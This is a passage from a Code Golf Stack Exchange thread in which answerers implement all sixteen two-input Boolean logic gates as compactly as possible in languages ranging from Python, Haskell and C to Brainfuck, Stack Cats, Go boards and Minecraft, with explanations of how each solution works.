(`not A`): `11010000` * 1,1,0,1 (`A implies B`): `11010011001` * 1,1,1,0 (`nand`): `10110100100010` * 1,1,1,1 (`true`): `1100` [Answer] # NAND logic gates — 31 gates As the creator of the [original](https://codegolf.stackexchange.com/questions/10845/7110) [series](https://codegolf.stackexchange.com/questions/12261/7110) [of](https://codegolf.stackexchange.com/questions/24983/7110) [NAND](https://codegolf.stackexchange.com/questions/25489/7110) [gate](https://codegolf.stackexchange.com/questions/26194/7110) [questions](https://codegolf.stackexchange.com/questions/26252/7110), I couldn't pass up the opportunity to use these gates to solve another logic gate problem. [![enter image description here](https://i.stack.imgur.com/LR6LA.png)](https://i.stack.imgur.com/LR6LA.png) In each of these diagrams, the top input is A while the bottom input is B. [Answer] ## Python 2, 137 bytes ``` [].sort min int.__rshift__ round range {}.get cmp max lambda a,b:a<1>b lambda a,b:a==b lambda a,b:b<1 pow {0:1,1:0}.get {0:1}.get lambda a,b:a+b<2 slice ``` Takes inputs like `min(True,False)` (or as `min(1,0)`). Takes heavy advantage of outputs only needing to have the right Truthy-Falsey value. Whenever possible, uses a built-in to avoid a costly `lambda`. I used code to search for built-ins that work. My favorite one is `{0:1}.get`, which I thought of by hand. The dictionary `{0:1}` maps the key `0` to the value `1`. Its `get` method takes a key and a default, outputting the value matching the key, or the default if there's no such key. So, the only way to output a `0` is as `{0:1}.get(1,0)`, with missing key `1` and default `0`. One can get other variants with different dictionaries, but only this one was the shortest. ``` built_in_names = list(__builtins__) object_names = ["int","(0)","(1)"] + \ ["True","False","0L","1L","0j","1j"] + \ ["str", "''", "'0'","'1'","'a'"] + \ ["list", "[]", "[0]", "[1]","['']","[[]]","[{}]"] + \ ["set","set()","{0}","{1}","{''}"] + \ ["dict","{}","{0:0}","{0:1}","{1:0}","{1:1}","{0:0,1:0}", "{0:0,1:1}","{0:1,1:0}","{0:1,1:1}"] + \ ["id"] object_method_names = [object_name+"."+method_name for object_name in object_names for method_name in dir(eval(object_name))] additional_func_names = [ "lambda a,b:0", "lambda a,b:1", "lambda a,b:a", "lambda a,b:b", "lambda a,b:b<1", "lambda a,b:a<1", "lambda a,b:a+b", "lambda a,b:a*b", "lambda a,b:a==b", "lambda a,b:a-b", "lambda a,b:a<=b", "lambda a,b:a>=b", "lambda a,b:a>b", "lambda a,b:a<b", "lambda a,b:a<1>b", "lambda a,b:a+b<2"] func_names = built_in_names + object_method_names + additional_func_names t=True f=False cases = [(f,f),(f,t),(t,f),(t,t)] def signature(func): table = [bool(func(x,y)) for x,y in cases] table_string = ''.join([str(int(val)) for val in table]) return table_string d={} for func_name in func_names: try: func = eval(func_name) result = signature(func) if result not in d or len(func_name)<len(d[result]): d[result]=func_name except: pass total_length = sum(len(func) for sig,func in d.items()) print total_length print for sig in sorted(d): print d[sig] ``` [Answer] # Go (game), 33 stones, 73 intersections If domino and chess are acceptable, then this. It can't be too golfy on a full 19x19 Go board. So I used small rectangular boards. The input is whether the stones marked 1 and 2 are present. The output is whether black wins. It uses area scoring, 0.5 komi, situational superko, no suicide. All black to play. Some are given multiple solutions. White wins (2, 1x5): ``` ➊━━━➋ ``` 1 and 2 (3, 2x3): ``` ➊◯➋ ┗┷┛ ``` 1 and not 2 (2, 1x5): ``` ╺➊━➁╸ ``` 1 (2, 1x5): ``` ╺➊➁━╸ ╺➊━━➁ ➀━➁━╸ ``` Not 1 and 2 (2, 1x5): ``` ╺➋━➀╸ ``` 2 (2, 1x5): ``` ╺➋➀━╸ ``` 1 xor 2 (2, 2x3): ``` ➀┯➁ ┗┷┛ ``` 1 or 2 (2, 1x5): ``` ╺➊━➋╸ ➀━━━➁ ``` 1 nor 2 (2, 1x4): ``` ➊━━➋ ╺➀➁╸ ``` 1 = 2 (2, 1x7): ``` ╺━➀━➁━╸ ``` Not 2 (2, 1x3): ``` ➀➁╸ ``` 1 or not 2 (2, 1x4): ``` ➀➁━╸ ➀━➁╸ ╺➊➁╸ ➋➊━╸ ➋━➊╸ ``` Not 1 (2, 1x3) ``` ➁➀╸ ``` Not 1 or 2 (2, 1x4): ``` ➁➀━╸ ``` 1 nand 2 (2, 1x3): ``` ➊━➋ ``` Black wins (2, 1x3): ``` ➊➋╸ ➀━➁ ➊━➁ ``` This page helped me a bit: <http://www.mathpuzzle.com/go.html> Maybe someone could find a 2 stone solution for 1 and 2 on a 1x9 board... [Answer] # Javascript ES6, 124 bytes ``` a=>0 Math.min parseInt a=>a a=>b=>a<b a=>b=>b a=>b=>a^b Math.max a=>b=>~a&~b a=>b=>a==b a=>b=>~b Math.pow a=>~a a=>b=>a<=b a=>b=>~a|~b a=>1 ``` I seriously hate lambdas right now. [Answer] # [Retina](https://github.com/m-ender/retina), ~~62~~ 39 bytes 23 bytes thanks to [@MartinEnder](https://codegolf.stackexchange.com/users/8478/martin-ender)! ``` 0000 false 1 byte : 2 0001 p and q 2 bytes: 11 0010 p and not q 2 bytes: 10 0011 p 2 bytes: ^1 0100 not p and q 2 bytes: 01 0101 q 2 bytes: 1$ 0110 xor 5 bytes: 01|10 0111 p or q 1 byte : 1 1000 not p and not q 2 bytes: 00 1001 xnor 5 bytes: (.)\1 1010 not q 2 bytes: 0$ 1011 p or not q 5 bytes: ^1|0$ 1100 not p 2 bytes: ^0 1101 not p or q 5 bytes: ^0|1$ 1110 not p or not q 1 byte : 0 1111 true 0 bytes: ``` Takes input as `PQ`. Outputs an integer between `0` to `3`. `0` is falsey, others are truthy. ## Explanation They are all just [regexes](https://en.wikipedia.org/wiki/Regular_expression). For example, `01|10` just matches `01` or `10`. In `0000`, `2` will never be in the input, so it never matches. In `1111`, it matches the empty string, which there are `4`. [Answer] ## [Stack Cats](https://github.com/m-ender/stackcats), 67 + 64 = 131 bytes Note that the +64 is from applying the `-nm` flags to each program. `-n` indicates numeric I/O, and `-m` mirrors the source code across the last character - not all submissions need these flags technically, but for consistency and simplicity I'm scoring them all the same way. ``` -2 -2 -3 -3 !I 0 0 0 0 <I!+ -4 -4 -4 1 |!T*I 0 0 0 1 [>I=I_ -4 -4 3 -2 *I*_ 0 0 1 0 :I*=I: -2 -2 3 3 T*I 0 0 1 1 [<!>X -2 1 -2 -2 _*T*I 0 1 0 0 *|!TI: -2 1 -3 1 !-|_I 0 1 0 1 <!I!>X -2 3 3 -2 ^T*I 0 1 1 0 ^:]<_I -2 3 3 3 -_T*I 0 1 1 1 *I<-I! 2 -3 -3 -3 -*|_I 1 0 0 0 ^{!:}I_ 2 -3 -3 2 _|*I 1 0 0 1 _|[<I!: 1 -2 1 -2 :]I*: 1 0 1 0 _!:|]X 1 -2 1 1 *I\<X 1 0 1 1 *>I>!I 2 2 -3 -3 -*I 1 1 0 0 I^:! 2 2 -3 2 _*I_ 1 1 0 1 |I|^:! 1 2 2 -1 |!:^I 1 1 1 0 -I*<*I 1 1 1 1 *<X 1 1 1 1 +I+ ``` `()` in Stack Cats checks whether an element is positive or nonpositive (i.e. 0 or negative), so we're using that for truthy/falsy respectively. The second column is just for interest, and lists the best gates with `0`/`1`s as outputs (with total score 90). Input is delimiter-separated bits via STDIN. [Try it online!](http://stackcats.tryitonline.net/#code=XypUKkk&input=MCAw&args=LW5t) --- Stack Cats is a reversible esoteric language, where programs have reflective symmetry. Given a snippet `f` (e.g. `>[[(!-)/`), the mirror image (e.g. `\(-!)]]<`) computes the inverse `f^-1`. As such, even length programs do nothing (or get stuck in an infinite loop), and the only non-trivial programs have odd length, computing `f g f^-1` where `g` is the centre operator. Since half the source code is always redundant, it can be left out, and running the code with the `-m` flag indicates that the source code should be mirrored over the last character to retrieve the actual source code. For example, the program `*<X` is actually `*<X>*`, which is symmetrical. Golfing in Stack Cats is highly unintuitive, so the above programs had to be found by brute force. Most of them are surprisingly complex, but I'll explain a few and add to this answer when I have time. For now, some explanations and alternative solutions for the `0`/`1` versions can be found on the Github repository [here](https://github.com/m-ender/stackcats/tree/master/examples/logic-gates). [Answer] # Minecraft, 89 blocks In all of the following photos, blue blocks are for Input A and orange blocks are for Input B ## 16. TRUE gate - 1 blocks [![enter image description here](https://i.stack.imgur.com/6G0qU.png)](https://i.stack.imgur.com/6G0qU.png) ## 15. NAND gate - 1x2x3 = 6 blocks [![enter image description here](https://i.stack.imgur.com/17cA4.png)](https://i.stack.imgur.com/17cA4.png) ## 14. A=>B - 1x2x3 = 6 blocks[enter image description here](https://i.stack.imgur.com/UZGg5.png) ## 13. NOT A - 2 blocks [enter image description here](https://i.stack.imgur.com/GrXhV.png) ## 12. B=>A - 1x2x3 = 6 blocks[enter image description here](https://i.stack.imgur.com/jSAOi.png) ## 11. NOT B - 2 blocks [enter image description here](https://i.stack.imgur.com/OQ06g.png) ## 10. XNOR - 1x3x4 = 12 blocks [enter image description here](https://i.stack.imgur.com/wds7x.png) ## 9. NOR - 1x2x3 = 6 blocks[enter image description here](https://i.stack.imgur.com/zsGqS.png) ## 8. OR - 1 blocks [enter image description here](https://i.stack.imgur.com/TAcv9.png) ## 7. XOR - 1x3x4 = 12 blocks [enter image description here](https://i.stack.imgur.com/97s9z.png) ## 6. B - 1 blocks [enter image description here](https://i.stack.imgur.com/6pQ1a.png) ## 5. !A&B - 1x2x5 = 10 blocks [enter image description here](https://i.stack.imgur.com/aM7zx.png) ## 4. A - 1 blocks [enter image description here](https://i.stack.imgur.com/Hibbv.png) ## 3. A&!B - 1x2x5 = 10 blocks [enter image description here](https://i.stack.imgur.com/HPaH1.png) ## 2. AND - 2x2x3 = 12 blocks [enter image description here](https://i.stack.imgur.com/mbY6k.png) ## 1. FALSE- 1 blocks [enter image description here](https://i.stack.imgur.com/lsJTh.png) [Answer] ## Haskell, ~~78~~ ~~76~~ 75 bytes 1. `_#_=2<1` 2. `&&` 3. `>` 4. `pure` 5. `<` 6. `_#b=b` 7. `/=` 8. `||` 9. `(not.).max` 10. `==` 11. `_#b=not b` 12. `>=` 13. `a#_=not a` 14. `<=` 15. `(not.).min` 16. `_#_=1<2` Edit: -1 byte thanks to @cole. [Answer] # dc, 37 bytes `dc` ("desk calculator") is a standard unix command, a stack-based postfix calculator. It lacks bit operations, and comparison operators can only be used to execute macros (which is not worth the bytes). Integer division makes up for some of that. These scripts expect `0` and `1` values on the stack, and leave the result on the stack. ``` 0,0,0,0 (false) 0 0,0,0,1 (and) * a*b 0,0,1,0 -1+2/ (a-b+1)/2 0,0,1,1 (A) r reverse a, b: a now on top 0,1,0,0 -1-2/ (a-b-1)/2 0,1,0,1 (B) (0 bytes) do nothing: b on top 0,1,1,0 (xor) - a-b 0,1,1,1 (or) + a+b 1,0,0,0 (nor) +v1- sqrt(a+b) -1 1,0,0,1 (xnor) +1- a+b-1 1,0,1,0 (not B) 1- b-1 1,0,1,1 (if B then A) -1+ a-b+1 1,1,0,0 (not A) r1- a-1 1,1,0,1 (if A then B) -1- a-b-1 1,1,1,0 (nand) *1- a*b - 1 1,1,1,1 (true) 1 ``` [Answer] # C 34 bytes ``` #define g(n,a,b)((n-1)>>3-b-2*a)&1 ``` Where n is the function number to use, but I think it would be refused so I propose this other one: # C 244 bytes (using memory) ``` typedef int z[2][2]; z a={0,0,0,0}; z b={0,0,0,1}; z c={0,0,1,0}; z d={0,0,1,1}; z e={0,1,0,0}; z f={0,1,0,1}; z g={0,1,1,0}; z h={0,1,1,1}; z i={1,0,0,0}; z j={1,0,0,1}; z k={1,0,1,0}; z l={1,0,1,1}; z m={1,1,0,0}; z n={1,1,0,1}; z o={1,1,1,0}; z p={1,1,1,1}; ``` it uses double indexed array. `n[0][1]` is `(A implies B)(0,1)` # Forth 138 bytes I just learned Forth. I suppose that's Ansi Forth compatible as it run also on gforth. ``` : z create dup , 1+ does> @ -rot 3 swap - swap 2* - rshift 1 and ; 0 z a z b z c z d z e z f z g z h z i z j z k z l z m z n z o z p drop ``` Function z create a new function with the name provided then put the logic gate number from the top of stack to the new function address. It leaves the next (n+1) logic gate function in the stack for the next declaration. you can test it : **And A B** ``` 0 0 b . cr 0 1 b . cr 1 0 b . cr 1 1 b . cr ``` ( "." print top of stack "cr" is cariage return ) [Answer] ## Mathematica, 67 bytes ``` 0>1& And #&&!#2& #& !#&&#2& #2& Xor Or Nor Xnor !#2& #||!#2& !#& !#||#2& Nand 1>0& ``` Each of these evaluates to a function, so you can use them like ``` #&&!#2&[True, False] Xor[True, False] ``` Ah, if only integers were truthy/falsy in Mathematica, those four longer ones could have been shortened considerably. [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), ~~36~~ 34 bytes ``` 0000 false \ Backtrack (always false) 0001 p and q 1. Unify input and output with 1 0010 p and not q >. Input > Output 0011 p 1 Unify input with 1 0100 not p and q <. Input < Output 0101 q ,1. Unify output with 1 0110 xor '. Input and output cannot unify 0111 p or q 1;1. Unify input with 1 or unify output with 1 1000 not p and not q 0. Unify input and output with 0 1001 eq . Unify input with output 1010 not q ,0. Unify output with 0 1011 p or not q >=. Input >= Output 1100 not p 0 Unify input with 0 1101 not p or q <=. Input <= Output 1110 not p or not q 0;0. Unify input with 0 or unify output with 0 1111 true Empty program (always true) ``` This expects `0` as falsy value and `1` as truthy value. Returns `true` or `false`. p is `Input` and q is `Output`. [Answer] # MATL, ~~34~~ 23 bytes I hope I got the order all right! Zero is falsey, non-zero is truthy. Each function takes two implicit inputs (although it may ignore some inputs). The first input is A, and the second is B. You can input `0`/`1` for true/false, or `T`/`F`. Here is a [TryItOnline](http://matl.tryitonline.net/#code=PA&input=MAox) example for test case 3. Saved 4 bytes by using `*` for `and`, and another 4 by using `>`/`<` instead of `~wY&`/`w~Y&` after I saw Dennis' answer! ``` 1. 0,0,0,0 0 (ignores input, just returns a zero) 2. 0,0,0,1 * (and) 3. 0,0,1,0 < (not-A and B) 4. 0,0,1,1 D (A) 5. 0,1,0,0 > (not-B and A) 6. 0,1,0,1 xD (discard A, display B) 7. 0,1,1,0 Y~ (xor) 8. 0,1,1,1 + (or) 9. 1,0,0,0 +~ (not-or) 10. 1,0,0,1 = (A=B) 11. 1,0,1,0 x~ (not-B) 12. 1,0,1,1 <~ (not-B or A) 13. 1,1,0,0 ~ (not-A) 14. 1,1,0,1 ~+ (not-A or B) 15. 1,1,1,0 *~ (not(A and B)) 16. 1,1,1,1 1 (just returns 1) ``` [Answer] # Prolog, ~~147~~ 145 bytes *Gained 2 bytes thanks to @SQB* ``` a(a,a). % 0000 false b(1,1). % 0001 P and Q c(1,0). % 0010 P and not Q d(1,_). % 0011 P e(0,1). % 0100 not P and Q f(_,1). % 0101 Q g(P,Q):-P\=Q. % 0110 P xor Q h(1,_). % 0111 P or Q h(0,1). i(0,0). % 1000 not P and not Q j(P,P). % 1001 P == Q k(_,0). % 1010 not Q m(P,Q):-P>=Q. % 1011 P or not Q n(0,_). % 1100 not P r(P,Q):-P=<Q. % 1101 not P or Q s(0,_). % 1110 not P or not Q s(1,0). t(_,_). % 1111 true ``` Query `x(P,Q).` with `x` being the appropriate letter and `P` and `Q` set to either 0 or 1. Returns `true` or `false`. [SWISH example including tests](http://swish.swi-prolog.org/p/Codegolfing%2016%20gates.pl) - enter `runTest.` to run. [Answer] # NTFJ, 86 bytes ``` 0000 false ~ 0001 p and q |:| 0010 p and not q :||:| 0011 p $ 0100 not p and q #{:||:| 0101 q #{$ 0110 xor :#{:#{:||#}:||| 0111 p or q :|#{:|| 1000 not p and not q :|#{:||:| 1001 eq :#{:#{:||#}:|||:| 1010 not q #{$:| 1011 p or not q #{:|| 1100 not p $:| 1101 not p or q :|| 1110 not p or not q | 1111 true # ``` [Try it here!](http://conorobrien-foxx.github.io/NTFJ/) But read below first. Input is implicit on stack. Result is let on stack. Add 16 bytes (one `*` to the end of each) if you want `0x00` or `0x01` to output representing 0 and 1. Add an additional 160 bytes if you want a `0` or a `1` printed. (Put `~~##~~~#{@` before each `*`.) NTFJ's only binary operator is NAND, so each of these is written in NAND form. Let's go through each of them. ## 0: false ``` ~ ``` `~` represents a false bit. Simple enough. Since input is implicit at the bottom of the stack, this is left at the top of it. ## 1: p and q ``` |:| ``` NTFJ operates on a stack. `:` is the command for duplicate. Observe that `p and q` ≡ `not (p nand q)` and that `not q = q nand q`. ``` Command | Stack | p q | | (p nand q) : | (p nand q) (p nand q) | | (p nand q) nand (p nand q) | => not (p nand q) | => p and q ``` (Note, then, `:|`can be said to be *negation* and `|:|` can be said to be *conjunction*) ## 2: p and not q ``` :||:| ``` Observe that this just a negation, `:|` and a conjunction `|:|`. ``` Command | Stack | p q :| | p (not q) |:| | p and (not q) ``` ## 3: p ``` $ ``` `$` pops an item from the stack. So... yeah. ## 4: not p and q ``` #{:||:| ``` This is the same thing as 2, except with `#{` at the beginning. `#` pushes 1 (the true bit) and `{` rotates the stack left once. Simple enough. ## 5: q ``` #{$ ``` Rotate left once, drop. ## 6: xor ``` :#{:#{:||#}:||| ``` Observe: ``` p xor q = (p and (not q)) or ((not p) and q) ; by experimentation (trust me) = (not ((not p) nand q)) or (not (p nand (not q))) ; by definition of nand = not (((not p) nand q) and (p nand (not q))) ; by De Morgan's laws = ((not p) nand q) nand (p nand (not q)) ; by definition of nand ``` However, there is no way to duplicate the stack entirely. So, we're going to have to bring each of `p`, `q` to the top and duplicate it. ``` Command | Stack | p q : | p q q #{ | q q p : | q q p p #{ | q p p q :| | q p p (not q) | | q p (p nand (not q)) #} | (p nand (not q)) q p :| | (p nand (not q)) q (not p) | | (p nand (not q)) (q nand (not p)) | | (p nand (not q)) nand (q nand (not p)) ``` And thus, we have our xor. ## 7: p or q ``` :|#{:|| ``` Negate top, bring bottom to top, negate that, and nand them together. Basically, `p or q = (not p) nand (not q)`. ## 8: not p and not q ``` :|#{:||:| ``` This is simply the negation of 7. Easy. ## 9: eq ``` :#{:#{:||#}:|||:| ``` This is just [xnor](https://codegolf.stackexchange.com/users/20260/xnor), or not xor. Simple again. ## 10: not q ``` #{$:| ``` Negation of 5. ## 11: p or not q ``` #{:|| ``` Negate p, nand. `(not p) nand q = not ((not p) and q) = p or (not q) (by De Morgan's laws)`. ## 12: not p ``` $:| ``` Drop, stop, and negate. ## 13: not p or q ``` :|| ``` De Morgan's laws to save the day, again! Same process as 11, just negating `q` instead of `p`. ## 14: not p or not q ``` | ``` This is just a mimic nand. ## 15: true ``` # ``` `#` is the true bit. [Answer] # IA-32 machine code, 63 bytes Hexdump of the code, with the disassembly: ``` 0000 33 c0 xor eax, eax; c3 ret; 0001 91 xchg eax, ecx; 23 c2 and eax, edx; c3 ret; 0010 3b d1 cmp edx, ecx; d6 _emit 0xd6; c3 ret; 0011 91 xchg eax, ecx; c3 ret; 0100 3b ca cmp ecx, edx; d6 _emit 0xd6; c3 ret; 0101 92 xchg eax, edx; c3 ret; 0110 91 xchg eax, ecx; 33 c2 xor eax, edx; c3 ret; 0111 8d 04 11 lea eax, [ecx + edx]; c3 ret; 1000 91 xchg eax, ecx; // code provided by l4m2 09 d0 or eax, edx; 48 dec eax; c3 ret; 1001 3b ca cmp ecx, edx; 0f 94 c0 sete al; c3 ret; 1010 92 xchg eax, edx; 48 dec eax; c3 ret; 1011 39 d1 cmp ecx, edx; // code provided by l4m2 d6 _emit 0xd6; 40 inc aex; c3 ret; 1100 91 xchg eax, ecx; 48 dec eax; c3 ret; 1101 3b d1 cmp edx, ecx; // code inspired by l4m2 d6 _emit 0xd6; 40 inc aex; c3 ret; 1110 8d 44 11 fe lea eax, [ecx+edx-2] // code provided by l4m2 c3 ret; 1111 91 xchg eax, ecx; 40 inc eax; c3 ret; ``` The code is longer than it could be, because it uses a standard coding convention: input in `ecx` and `edx`, and output in `al`. This may be expressed in C as ``` unsigned char __fastcall func(int, int); ``` It seems that MS Visual Studio doesn't understand the undocumented [`SALC`](http://www.rcollins.org/secrets/opcodes/SALC.html) opcode, so I had to use its code, instead of name. Thanks you [l4m2](https://codegolf.stackexchange.com/users/76323/l4m2) for improving some of the code samples! [Answer] ## [Labyrinth](https://github.com/mbuettner/labyrinth), 85 bytes *Thanks to Sp3000 for saving 2 bytes.* ``` !@ ??&!@ ??~&!@ ?!@ ?~?&!@ ??!@ ??$!@ ??|!@ ??|#$!@ ??$#$!@ ?#?$!@ ?#?$|!@ ?#$!@ ?#$?|!@ ??&#$!@ 1!@ ``` All of these are full programs, reading two integers `0` or `1` from STDIN (using any non-digit separator), and printing the result as `0` or `1` to STDOUT. [Try it online!](http://labyrinth.tryitonline.net/#code=PyM_JHwhQA&input=MSAx) (Not a test suite, so you'll have to try different programs and inputs manually.) As for explanations, these are all rather straightforward. All programs are linear, and the commands in use do the following: ``` ? Read integer from STDIN and push. ! Pop integer and write to STDOUT. @ Terminate program. & Bitwise AND of top two stack items. | Bitwise OR of top two stack items. $ Bitwise XOR of top two stack items. ~ Bitwise NOT of top stack item. # Push stack depth (which is always 1 when I use it in the above programs). 1 On an empty stack, this pushes 1. ``` Note that I'm using `#` is always used to combine it with `$`, i.e. to compute `XOR 1`, or in other words for logical negation. Only in a few cases was I able to use `~` instead, because the subsequent `&` discards all the unwanted bits from the resulting `-1` or `-2`. [Answer] # [Brainfuck](http://esolangs.org/wiki/Brainfuck), ~~184~~ ~~178~~ 174 bytes Input/output uses U+0000 and U+0001. ``` 0000 . 0001 ,[,[->+<]]>. 0010 ,[,-[+>+<]]>. 0011 ,. 0100 ,-[,[->+<]]>. 0101 ,,. 0110 ,>,[-<->]<[>>+<]>. 0111 ,-[,-[+>-<]]>+. 1000 ,-[,-[+>+<]]>. 1001 ,>,[-<->]<[>>-<]>+. 1010 ,,-[+>+<]>. 1011 ,-[,[->-<]]>+. 1100 ,-[+>+<]>. 1101 ,[,-[+>-<]]>+. 1110 ,[,[->-<]]>+. 1111 +. ``` [Answer] # C, 268 bytes ``` #define c(a,b)0 // 0000 #define d(a,b)a&b // 0001 #define e(a,b)a>b // 0010 #define f(a,b)a // 0011 #define g(a,b)a<b // 0100 #define h(a,b)b // 0101 #define i(a,b)a^b // 0110 #define j(a,b)a|b // 0111 #define k(a,b)!b>a // 1000 #define l(a,b)a==b // 1001 #define m(a,b)!b // 1010 #define n(a,b)!b|a // 1011 #define o(a,b)!a // 1100 #define p(a,b)!a|b // 1101 #define q(a,b)!b|!a // 1110 #define r(a,b)1 // 1111 ``` Macros seem shorter than functions. [Answer] ## [Brian & Chuck](https://github.com/m-ender/brian-chuck), 183 bytes *Thanks to Sp3000 for saving 4 bytes.* Some of the programs contain an unprintable character. In particular, every `\x01` should be replaced with the `<SOH>` (0x01) control character: ``` 0000 ? #>. 0001 ,-?,-?>?\x01 #}>. 0010 ,-?,?>?\x01 #}>. 0011 ,?\x01+? #>. 0100 ,?,-?>?\x01 #}>. 0101 ,,?\x01+? #>. 0110 ,?>},?>?_\x01 #}+{>?_}>. 0111 ,\x01?,?>? #{>. 1000 ,?,?>?\x01 #}>. 1001 ,-?>},?>?_\x01 #}+{>>?_}>. 1010 ,,-?\x01+? #>. 1011 ,\x01?,-?>? #{>. 1100 ,-?\x01+? #>. 1101 ,\x01-?,?>? #{>. 1110 ,\x01-?,-?>? #{>. 1111 ? #>+. ``` Input and output use [byte values](http://meta.codegolf.stackexchange.com/questions/4708/can-numeric-input-output-be-in-the-form-of-byte-values), so input should be two 0x00 or 0x01 bytes (without separator) and output will be one such byte. This is actually also the most sensible definition of truthy/falsy for B&C because the only control flow command `?` regards zeros as falsy and everything else truthy. ### Explanations First a quick B&C primer: * Every program consists of two Brainfuck-like instances, each written on its own line. We call the first one *Brian* and the second one *Chuck*. Execution begins on Brian. * Each program's tape is the other program's source code, and each program's instruction pointer is the other program's tape head. * Only Brian can use the `,` (input byte) command and only Chuck can use the `.` (output byte) command. * Brainfuck's `[]` loop does not exist. Instead, the only control flow you have is `?` which switches control to the other instance iff the current value under the tape head is nonzero. * In addition to `>` and `<`, there's `{` and `}` which are essentially equivalent to the Brainfuck snippets `[<]` and `[>]`, that is, they move the tape head to the next zero position in that direction. The main difference is that `{` can also be stopped at the left end of the tape, regardless of what value it has. * For convenience, any `_`s in the source code are replaced with null-bytes (as these are very useful in nontrivial programs in order to catch `{` and `}`). Note that in all programs, Chuck's tape begins with a `#`. This could really be anything. `?` works such that the tape head moves one cell before starting execution (so that the condition itself isn't executed if it happens to be a valid command). So we can't ever use the first cell of Chuck for code. There are five classes of programs, which I'll explain in detail later. For now I'm listing them here in order of increasing complexity. ### `0000`, `1111`: Constant functions ``` ? #>. ``` ``` ? #>+. ``` These are very simple. We switch to Chuck unconditionally. Chuck moves the tape head to the unused cell to the right and either prints it directly, or increments it first to print `1`. ### `0011`, `0101`, `1010`, `1100`: Functions depending on only one input ``` ,?\x01+? #>. ``` ``` ,,?\x01+? #>. ``` ``` ,,-?\x01+? #>. ``` ``` ,-?\x01+? #>. ``` Depending on whether we start with `,` or `,,` we're working with `A` or `B`. Let's look at the first example `0011` (i.e. `A`). After reading the value, we use `?` as a conditional on that value. If `A = 1`, then this switches to Chuck, who moves the tape head to the right and prints the literally embedded `1`-byte. Otherwise, control remains on Brian. Here, the 1-byte is a no-op. Then we increment the input well with `+` to make sure it's non-zero and *then* switch to Chuck with `?`. This time, `>` moves to an unused cell to the right which is then printed as `0`. In order to negated one of the values we simply decrement it with `-`. This turns `1` into `0` and `0` into `-1`, which is non-zero and hence truthy as far as `?` is concerned. ### `0001`, `0010`, `0100`, `1000`: Binary functions with one truthy result ``` ,-?,-?>?\x01 #}>. ``` ``` ,-?,?>?\x01 #}>. ``` ``` ,?,-?>?\x01 #}>. ``` ``` ,?,?>?\x01 #}>. ``` This is an extension of the previous idea in order to work with two inputs. Let's look at the example of `1000` (NOR). We (potentially) read both inputs with `,?`. If either of those is `1`, the `?` switches to Chuck. He moves the tape head to the end with `}` (onto the empty cell after Brian's code), moves another cell with `>` (still zero) and prints it with `.`. However, if both inputs are zero, then control is still with Brian. `>` then moves the tape head onto the `}` such that this command *isn't* executed when we switch to Chuck with `?`. Now all that Chuck does is `>.` which only moves onto the `1`-cell and prints that. We can easily obtain the other three functions by negating one or both of the inputs as required. ### `0111`, `1011`, `1101`, `1110`: Binary functions with three truthy results ``` ,\x01?,?>? #{>. ``` ``` ,\x01?,-?>? #{>. ``` ``` ,\x01-?,?>? #{>. ``` ``` ,\x01-?,-?>? #{>. ``` A minor modification of the previous idea in order to negated the *result* (i.e. print `0` when we've passed through all of Brian and `1` otherwise). Let's look at `0111` (OR) as an example. Note that the embedded `1`-byte is a no-op, so this still starts with `,?,?`. If either input is `1` we switch to Chuck, who moves the tape head back to the start with `{`. `>.` moves the tape head onto that `1`-byte and prints it. If both inputs are zero then we remain with Brian, move the tape head onto `{` to skip it and then switch to Chuck. When he executes `>.` this time he moves onto the empty cell after Brian's code and prints the `0`. Again, we easily obtain the other functions by negating one or both inputs. ### `0110`, `1001`: Binary functions with two truthy results ``` ,?>},?>?_\x01 #}+{>?_}>. ``` ``` ,-?>},?>?_\x01 #}+{>>?_}>. ``` This one is a bit trickier. The previous functions were reasonably simple because they can be [short-circuited](https://en.wikipedia.org/wiki/Short-circuit_evaluation) - the value of the first input can decide the output, and if it doesn't then we look at the other input. For these two functions, we always need to look at both inputs. The basic idea is to use the first input to decide whether the second input choose between `0` and `1` or between `1` and `0`. Let's take `0110` (XOR) as an example: Consider `A = 0`. In this case we want to output `B` as is. `,` reads `A`, `?` does nothing. `>` moves onto the next (nonzero) cell so that `}` brings us to the `_` on Chuck. Here, we read `B` with `,` and use `?` again. If `B` was `0` as well, we're *still* on Brian. `>` skips the `}` on Chuck and `?` switches so that the `>.` prints the `0` embedded in Brian's source code. If `B` was `1` on the other hand, Chuck does execute the `}` which moves into the `_` in Brian's code already, so the `>.` then prints the `1`-byte instead. If `A = 1`, then we do switch to Chuck right away, who will execute `}+{>?`. What this does is move to the `_` in Brian's source code, turns it into a `1` as well with `+`, then moves back to the start `{` and skips Brian's `?` by moving one cell to the right with `>` before handing control back to him. This time, after Brian read's `B`, if `B = 0`, and Chuck uses `>.` the cell next to Brian's `?` will be `1` instead of `0`. Also, when `B = 1`, Chuck's `}` skips right over what to used to be a gap and moves all the way to the end of the tape, so that `>.` prints a zero instead. This way we're printing `not B`. In order to implement equivalence, we simply negated `A` before using it as a condition. Note that due to this we also need to add another `>` to Chuck to skip that `-` as well when moving back to the start. [Answer] # ClojureScript, 88 84 76 74 bytes `nil` and `false` are falsy, all other values are truthy. Booleans coerce to 0/1 for arithmetic and inequalities. Functions can take the wrong number of arguments. ``` 0000 nil? ; previously: (fn[]nil) 0001 and 0010 < 0011 true? ; previously: (fn[x]x) 0100 > 0101 (fn[x y]y) 0110 not= 0111 or 1000 #(= 0(+ % %2)) 1001 = 1010 #(not %2) 1011 <= 1100 not 1101 >= 1110 #(= 0(* % %2)) 1111 / ; previously: (fn[]4), inc ``` [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~418~~, 316 bytes [Try it online!](http://brain-flak.tryitonline.net/) Let the inputs be the top two numbers on the stack at the start of the program (zero for false one for true) and the output be top of the stack at the end of the program (zero for false else for true). ### false, 4 bytes (Courtesy of [Leaky Nun](https://codegolf.stackexchange.com/users/48934/leaky-nun)) `(<>)` ### and, 36 bytes `(({}{}[(())()])){{}{}(((<{}>)))}{}{}` ### A and not B, 40 bytes `((({}){}{}[(())()])){{}{}(((<{}>)))}{}{}` ### A, 6 bytes `({}<>)` ### not A and B, 38 bytes `((({}){}{}[(())])){{}{}(((<{}>)))}{}{}` ### B, 2 bytes `{}` ### xor, 34 bytes `(({}{}[(())])){{}{}(((<{}>)))}{}{}` ### or, 6 bytes `({}{})` ### nor, 34 bytes `(({}{}<(())>)){{}{}(((<{}>)))}{}{}` ### xnor, 10 bytes `({}{}[()])` ### not B, 34 bytes `{}(({}<(())>)){{}{}(((<{}>)))}{}{}` ### B implies A, 14 bytes 